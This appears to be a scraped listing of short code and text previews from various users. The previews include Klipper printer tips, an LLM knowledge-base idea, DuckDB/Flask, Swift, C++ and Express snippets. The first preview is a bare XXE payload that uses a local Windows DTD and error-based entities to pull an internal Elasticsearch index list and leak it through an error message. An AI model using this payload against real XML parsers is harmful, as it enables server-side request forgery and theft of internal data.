Rhynorater

<!DOCTYPE doc [
    <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
    <!ENTITY % SuperClass '>
        <!ENTITY &#x25; file SYSTEM "http://example.com:9200/_cat/indices">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
      <!ENTITY test "test"'
    >
    %local_dtd;

bedakuster

Config Changes on Fluidd => Restart!

Caution

You should restart your Printer (on/off) after any change in a .cfg file and after creating a new mesh in fluidd. My printer loves to just invert x or y axis after a "Firmware Restart" or "Klipper restart" in fluidd and crashes into the opposit stop.

Scope

I only use Fluidd, OrcaSlicer and KlipperScreen. Stuff described below does speed up the start when printing with these tools. I already found out that it wont speed up start time when printing started over the display. Somehow the display calls different macros. I didnt test it with CrealityPrint but i assume it doesnt work either. Switching to OrcaSlicer is easy, as CrealityPrint is based on OrcaSlicer ;)

Klerith

SQL de cero: Tu guía práctica con PostgreSQL

Instalaciones recomendadas

• Hoja de atajos

karpathy

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

Maxxen

import duckdb
import flask

# Initialize Flask app
app = flask.Flask(__name__)

# Setup a global DuckDB connection with spatial extension loaded
# Connect to a persistent database file with the geometry data
config = {"allow_unsigned_extensions": "true"}
con = duckdb.connect("tiles.db", True, config)

Matt54

import Foundation

enum EasingCurve {
    case linear
    case easeIn(Float)
    case easeOut(Float)
    case easeInOut(Float)

    func apply(_ t: Float) -> Float {
        let t = max(0, min(1, t))

Einstrasse

// C++ includes used for precompiling -*- C++ -*-

// Copyright (C) 2003-2015 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library.  This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.

akirattii

var express = require('express');
var app = express();

// response header for sever-sent events
const SSE_RESPONSE_HEADER = {
  'Connection': 'keep-alive',
  'Content-Type': 'text/event-stream',
  'Cache-Control': 'no-cache',
  'X-Accel-Buffering': 'no'
};